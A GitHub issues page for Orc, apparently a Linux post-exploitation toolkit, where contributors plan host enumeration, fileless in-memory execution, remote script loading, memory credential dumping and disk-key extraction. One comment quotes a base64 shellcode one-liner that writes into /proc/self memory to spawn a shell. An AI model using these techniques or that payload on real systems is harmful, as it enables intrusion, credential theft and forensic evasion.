zmarch / orc Goto Github PK

Host is a Debian 8 (Jessie) box.

awk version

$ awk -W version
mawk 1.3.3 Nov 1996, Copyright (C) Michael D. Brennan

compiled limits:
max NF             32767
sprintf buffer      2040

Here is where the bug happens...

$ getidle
awk: line 6: function systime never defined
$ 

getenum output is as follows:

$ getenum
Doing some basic listing of the usual suspects...
Kernel: 3.16.0-4-amd64 #1 SMP Debian 3.16.43-2+deb8u2 (2017-06-26)
glibc: GNU C Library (Debian GLIBC 2.19-18+deb8u10) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.4.
dbus: D-Bus Message Bus Daemon 1.8.22
Init system is: systemd

Have created a wiki, gotta start documenting stuff... https://github.com/zMarch/Orc/wiki

Knowing things like processor speed/cores, available storage and RAM would be interesting.

Perhaps something akin to this or similar scripts could be added. Need to think about this though.

I accidentally introduced a bug in the hangup function. If you run it without arguments, it kills everyone elses session on the box.

This is great and all, but not exactly what I intended to do.

I should probably rewrite this function to work better.

In the getnet_rework branch I created a new implementation of the getnet function, the getnet2 function. (The original getnet functions is unchanged in the script file.)

The getnet2 function should work like the getnet function and could replace the getnet function in the master branch after testing. (See issue #51)

Corrections, extensions, error messages, comments are welcome.

If we can find a domain-joined Linux, i've seen some tricks that might let us extract hashes and secrets etc. I've not had too much of a deep look, noting it for myself, mostly.

Debating it because honestly, it doesn't work, it's terrible, and it's causing half our issues in shellcheck. We could always write something better/not terrible. At the very least, should probably get rid of the ipcalc bits, I think.

The folks at THC have a rather nice host-info-gathering script, some of which could possibly be folded into Orc.

https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/whatserver.sh

This works, but its not reliable/stable enough to commit yet. I was thinking instead of just flagging one service in there, actually using grep -E with a list of VM services launched inside of guests for more comprehensive detection.

        if ps aux  | grep -v grep | grep -qi "VBoxService"; then
        echo "Virtual machine! (Virtualbox)"
        TTT=1
        fi

Going to add more aliases as I find them, because some programs leave logs.

Taking a look through this talk for ideas.

Mostly a note to myself, but upon initializing Orc, it should probably detect what tools are available (ifconfig, curl, a functioning awk, relevant ps flags being available), and construct the various commands in the functions then and there instead of messing around in each function.

an issue here is that if we try and support EVERYTHING, though, orc is going to get pretty unwieldy pretty quickly, so perhaps targeting the most common "weird distro-specific behaviour" is best

As an extension of #79, I came across this, which actually does the whole goddamn thing I'd been trying to get at, and documents it pretty well:

https://github.com/arget13/DDexec

I'll try add it to Orc at some point in the future as a way to get file-less memexec of ELF files on kernels before memfd support was added.

Would be neat to include your "suspect" utility so once on a host, you can quickly check if you are alone.

I noticed some hardcoded curl calls in various functions, we should have a fallback to " wget -q -O-" for the event curl is unavailable on the system.

We could also check for the LWP POST/GET commands, lwp-request/etc. After all, never know what kind of weird shit we end up on.

Need to add a detection mechanism - probably just going to grab /dev/mapper for LUKS; not sure what signatures are needed for veracrypt etc.
might see if we can drop something to try and pull the encryption key for memory (or maybe just a function to do a full memory dump for analysis with volatility)

We can ~probably implement this trickery so we can execute arbitrary shellcodes. Maybe as a helper function?

https://twitter.com/David3141593/status/1386663070991360001

The example pops /bin/sh

cd /proc/$$;read a<syscall;exec 3>mem;base64 -d<<<McBIu9GdlpHQjJf/SPfbU1RfmVJXVF6wOw8F|dd bs=1 seek=$[`echo $a|cut -d" " -f9`]>&3

We could use this as another way to do the memexec using memfd's by implementing the memfd loader as shellcode (something I actually did before, I'll just have to find the code).

It might be interesting to have a function that dl/exec something like https://github.com/bcoles/linux-exploit-suggester (or parent repo: https://github.com/mzet-/linux-exploit-suggester) with some sane commandline flags (or user-set ones maybe).

First need to work out what flags are sane. I suggest having it not automatically download or run any exploits, as that would be properly unsafe and leave so much forensic evidence behind that it isn't even remotely funny.

Wondering if there is any value in adding some functionality to find setuid files? Basically just a function that calls find / -perm 4000 2>/dev/null (for setuid) and getcap -r / 2>/dev/null (for setcap) and maybe does some output parsing or further processing? I'm unsure what "further processing" would actually be useful, but checking these binaries for RPATH issues or against the gtfobins list and such is sometimes fruitful.

I've essentially ignored some directives for now, mostly ones that seemed a bit janky (erroring on ulimit when it was in an if) or were purely informational. We now pass. It's not cheating!

So it might be interesting to have a way to load in remote bash scripts and source them from memory (loading them into Orc) as a means to extend functionality in a modular fashion.

For example, we could fork the Linux Exploit Suggester that was recently implemented as a remote "load and run" and have it as a callable function with arguments somehow. Or load in extra functionality that only works on certain platforms, without cluttering up the main o.rc source file.

Apparently, we can do this with eval, like so: https://access.redhat.com/solutions/34842

I'd like to hear thoughts on this though, see how useful others think it could be?

In the context of linux machines that do not have access to the internet (think of hackthebox challenge boxes - where you, the user, vpn into a lab environment, and YOU have internet access, but the boxes dont - all the stuff where a tool like this tries to contact the internet would fall over) some parts of this tool (the exploit suggester for example) don't work.

It would be super neat to be able to specify a proxy (like the machine you're vpnining into a lab from!) so that orc can reach the internet somehow

This honestly might be better as something we fork and pull in remotely at runtime, but I'd be interested in thoughts on implementing something like Mimipenguin for dumping creds out of memory.

Link: https://github.com/Miscellaneous0/mimipenguin/

Going to rename memexec and add the x86 version once I have it tested fully and can confirm it works. Then we will have memfdexec32 and memfdexec64.

We COULD have architecture detection and selection of the method in the perl blob and merge them back into one command, but that is a later problem to solve IMO.

Might want to consider implementing the shm-exec method implemented as a fallback in netelf for boxes with too-old kernels, but that is a separate problem.

net-tools package (where ifconfig, netstat, route...commands belong) is deprecated and not installed by default in increasingly more distributions.
Thanks

I would suggest to add a license to the repository. Choosing and attaching a license file is just a few steps. Add license file
In my opinion, the MIT license or the Apache license could be used. (Overview)